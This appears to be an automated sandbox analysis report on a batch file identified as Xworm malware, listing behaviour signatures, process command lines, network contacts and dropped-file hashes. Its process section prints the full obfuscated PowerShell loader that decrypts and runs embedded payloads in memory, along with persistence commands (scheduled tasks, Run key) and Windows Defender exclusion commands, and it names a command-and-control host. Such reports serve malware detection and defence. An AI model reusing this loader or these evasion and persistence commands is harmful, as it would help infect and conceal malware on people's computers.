Analysis Overview
SHA256
9a371c5191f7f8d74b87eb11fd8c75f9a9e50f6b6b2ed0e2fe54b9a8f9827408
Threat Level: Known bad
The file ZchuzoCLIENTV3.bat was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 02:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 02:43
Reported
2024-05-26 02:46
Platform
win11-20240508-en
Max time kernel
90s
Max time network
99s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77wsappx.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77wsappx.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\cmd.exe | N/A |
| N/A | N/A | C:\ProgramData\$77wsappx.exe | N/A |
| N/A | N/A | C:\ProgramData\$77wsappx.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77wsappx = "C:\\ProgramData\\$77wsappx.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ZchuzoCLIENTV3.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R/dppgOhpePEb/+YI79jCEQq3x1zwsVvIMyS1keeutw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oHVtZunj5QiqGDq/USZArg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZoMcY=New-Object System.IO.MemoryStream(,$param_var); $ljKMi=New-Object System.IO.MemoryStream; $TQYiG=New-Object System.IO.Compression.GZipStream($ZoMcY, [IO.Compression.CompressionMode]::Decompress); $TQYiG.CopyTo($ljKMi); $TQYiG.Dispose(); $ZoMcY.Dispose(); $ljKMi.Dispose(); $ljKMi.ToArray();}function execute_function($param_var,$param2_var){ $TxuXG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XsLUp=$TxuXG.EntryPoint; $XsLUp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ZchuzoCLIENTV3.bat';$uPZqd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ZchuzoCLIENTV3.bat').Split([Environment]::NewLine);foreach ($VjFFC in $uPZqd) { if ($VjFFC.StartsWith(':: ')) { $tYAyV=$VjFFC.Substring(3); break; }}$payloads_var=[string[]]$tYAyV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_100_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_100.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_100.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_100.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R/dppgOhpePEb/+YI79jCEQq3x1zwsVvIMyS1keeutw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oHVtZunj5QiqGDq/USZArg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZoMcY=New-Object System.IO.MemoryStream(,$param_var); $ljKMi=New-Object System.IO.MemoryStream; $TQYiG=New-Object System.IO.Compression.GZipStream($ZoMcY, [IO.Compression.CompressionMode]::Decompress); $TQYiG.CopyTo($ljKMi); $TQYiG.Dispose(); $ZoMcY.Dispose(); $ljKMi.Dispose(); $ljKMi.ToArray();}function execute_function($param_var,$param2_var){ $TxuXG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XsLUp=$TxuXG.EntryPoint; $XsLUp.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_100.bat';$uPZqd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_100.bat').Split([Environment]::NewLine);foreach ($VjFFC in $uPZqd) { if ($VjFFC.StartsWith(':: ')) { $tYAyV=$VjFFC.Substring(3); break; }}$payloads_var=[string[]]$tYAyV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Users\Admin\AppData\Local\Temp\cmd.exe
"C:\Users\Admin\AppData\Local\Temp\cmd.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\$77wsappx.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77wsappx.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77wsappx" /tr "C:\ProgramData\$77wsappx.exe"
C:\ProgramData\$77wsappx.exe
C:\ProgramData\$77wsappx.exe
C:\ProgramData\$77wsappx.exe
C:\ProgramData\$77wsappx.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 147.185.221.19:63201 | another-limits.gl.at.ply.gg | tcp |
| US | 147.185.221.19:63201 | another-limits.gl.at.ply.gg | tcp |
| US | 147.185.221.19:63201 | another-limits.gl.at.ply.gg | tcp |
| US | 52.111.229.43:443 | tcp |
Files
memory/8-0-0x00007FFCF3983000-0x00007FFCF3985000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fgopx1e.shn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/8-9-0x000001D9C6DA0000-0x000001D9C6DC2000-memory.dmp
memory/8-10-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/8-11-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/8-12-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/8-13-0x000001D9C6D10000-0x000001D9C6D18000-memory.dmp
memory/8-14-0x000001D9C6DF0000-0x000001D9C6E72000-memory.dmp
memory/4700-16-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/4700-25-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/4700-26-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/4700-27-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/4700-30-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 59d37a8c588c83e806678c7fb5d1229f |
| SHA1 | 4396d68567f30f08e08a269802fe3f4784b88c5b |
| SHA256 | c1af181e4703177ae1c55f2160c6b7685f3536da35a1501e4a70e25155519e84 |
| SHA512 | 19223db6932776bdfcd8202a8ca19e60deacacdc6e44f2f219b541b4e2eadb82c7c819512f17c76f9ca177ca89452adbebf30dceef9fcc05085472ff49ea8dc2 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\startup_str_100.vbs
| MD5 | 43cb2ab54a3805f47352eae51aefb572 |
| SHA1 | 2a579105ab98a017140616961936afd1a894ecae |
| SHA256 | e6809d7975256ebee58f550bd676f78c15abc82c7fbe657f568c18ec5c7ff1f6 |
| SHA512 | df83b7877dfda4483cac588917cbb6855e99ca775cd6cbe3ac347c697a022e0e5cee9edc2c788c79601e9d27d0c9a86f93e29b0fff559ffb55b120f52a41e3b8 |
C:\Users\Admin\AppData\Roaming\startup_str_100.bat
| MD5 | d5a276beb0a9ab34d8ab304e9d511a48 |
| SHA1 | 79dbd692e151c4d9d3d852bc21b1a8fef7b26e6f |
| SHA256 | 9a371c5191f7f8d74b87eb11fd8c75f9a9e50f6b6b2ed0e2fe54b9a8f9827408 |
| SHA512 | ad5362a1fd966cc3b5e8c519d0e5d87bd98e02f915812037258aa3c826ec6d86e4d2429e449e1a232da57dd96050dee783681466cceba77354822f1b9b144901 |
memory/1772-50-0x0000019B70400000-0x0000019B70410000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\cmd.exe
| MD5 | eb1071a4d69294f036d40d1fbf61c375 |
| SHA1 | 5a934a89613197bc01b76f47fd13b1d5e25074ec |
| SHA256 | becbbeaa24cca7e38ae19de32c9681f9b064e9fdbc60e1545091875d7008d13d |
| SHA512 | 412045afc8ebba68cb1c00e74bdc007aeb426a4110a9f7d898bb6cc65417246095cd01c1ff63dea860d371897e1857905c0403a7fdb575cc96ea404f9b5ee487 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1a9fa92a4f2e2ec9e244d43a6a4f8fb9 |
| SHA1 | 9910190edfaccece1dfcc1d92e357772f5dae8f7 |
| SHA256 | 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888 |
| SHA512 | 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | dbed6207e0d3208bd0ee26b6c99307e3 |
| SHA1 | facbc3806e7596b021efd6a475cd407058223703 |
| SHA256 | 631632aac60e6815fb18144cce66425db89b75c1e9d2c4af46d9d5148b6f5f72 |
| SHA512 | a0fbe5b0d32f20ffe23aebf00b77d41159ed7c01b2302efa6e6a0cc61e4c008538f44d2cf8c7ab6c062317d1c5762eebedf0d9a06a7fdde112d231f0a27fff8e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | cedfb5c5943c2ab470a28f4187bc7750 |
| SHA1 | c634b313064d775057dc00f8101799772d546f31 |
| SHA256 | b323dd9ecd1d7e51d695ad1b2fd14fe83e24fc1ea6bd7ad0322cca931b8a4263 |
| SHA512 | e50eb221c77d51bec6b43c520612679bb877a8749f5986b172bce443f6a989118f5796e727ce8dc599918588bfb9ee04ac7028b30d1a33d7bcf8a96322941321 |
memory/8-103-0x00007FFCF3980000-0x00007FFCF4442000-memory.dmp
memory/8-104-0x00007FFCF3983000-0x00007FFCF3985000-memory.dmp
C:\ProgramData\$77wsappx.exe
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
memory/3468-114-0x000001DCED6B0000-0x000001DCED6F6000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77wsappx.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | c81d47c3b95d180e012e8380740c4349 |
| SHA1 | 702eded5bde64ab869985b0934655e18dbdc6a70 |
| SHA256 | cfaa4c0d9f07288af8d6722f228edf33b0d87a4fde1b468f0c3afb837cd061cc |
| SHA512 | 982beff2c7b39aa271d26424c51e2e10f0a3ea7e1f7321e37397e7811feb409b39408a6cb22b6dfe271cd9c1048b89f5a80e193b570d18a46b7acc2e542f21f1 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | e566632d8956997225be604d026c9b39 |
| SHA1 | 94a9aade75fffc63ed71404b630eca41d3ce130e |
| SHA256 | b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0 |
| SHA512 | f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 981d4695b1c524eac18bbed0bad44e88 |
| SHA1 | ec03abf1a1fa8daffe0771ec264be31d84300b29 |
| SHA256 | c2e47ecbeb8051450f283c618e69f9de7ed115d962b8973180343f997914fc95 |
| SHA512 | 2d17c0c5d0d5f72ae7c28914478144bdefb58c5accbfb370ea70af9275e0e1e2cc78200f910e8d44d179a3b7f4c092bdb2536a72e2a02433f2ad092e325be3b1 |